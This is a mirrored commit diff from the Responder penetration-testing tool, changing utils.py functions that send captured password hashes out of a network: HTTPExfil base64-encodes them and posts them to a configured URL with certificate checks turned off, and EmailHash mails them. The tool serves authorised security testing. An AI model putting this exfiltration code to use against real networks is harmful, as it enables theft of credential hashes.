mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-22 06:13:39 -07:00
changed default data type of result back to dict
This commit is contained in:
parent
6a92bbb4d6
commit
4ad5bc4b3b
1 changed files with 14 additions and 6 deletions
14
utils.py
14
utils.py
|
@ -27,10 +27,14 @@ import struct
|
|||
from calendar import timegm
|
||||
|
||||
def HTTPExfil(result):
|
||||
result = str(result)
|
||||
try:
|
||||
if not settings.Config.httpsexfil_enabled:
|
||||
return
|
||||
if not settings.Config.httpsexfil_url:
|
||||
print(color("[HTTPS Exfil]",1),"HTTPS Exfil is enabled but not configured. "
|
||||
"Check Responder.conf to configure")
|
||||
return False
|
||||
|
||||
# requests isn't in stdlib, so using urllib
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
@ -41,12 +45,16 @@ def HTTPExfil(result):
|
|||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
data = result
|
||||
if type(data) != dict:
|
||||
result = str(result)
|
||||
data = {
|
||||
'hashes' : base64.b64encode(result.encode()),
|
||||
}
|
||||
|
||||
data = bytes( urllib.parse.urlencode( data ).encode() )
|
||||
handler = urllib.request.urlopen( settings.Config.httpsexfil_url, data , context=ctx)
|
||||
print(color("[HTTPS Exfil]",3,1),"Sent via https exfil")
|
||||
print(color("[HTTPS Exfil]",4,1),"Sent via https exfil")
|
||||
except Exception as e:
|
||||
print(color("[HTTPS Exfil]",1),"Error sending via HTTPS Exfil{}".format(e))
|
||||
return
|
||||
|
@ -78,7 +86,7 @@ def EmailHash(result):
|
|||
server.sendmail(settings.Config.emailusername, settings.Config.emailsendto,
|
||||
message)
|
||||
server.close()
|
||||
print(color("[EMAIL]",3,1),"Sent email to {}".format(settings.Config.emailsendto))
|
||||
print(color("[EMAIL]",4,1),"Sent email to {}".format(settings.Config.emailsendto))
|
||||
except Exception as e:
|
||||
print(color("[EMAIL]",1),"Error sending email {}".format(e))
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue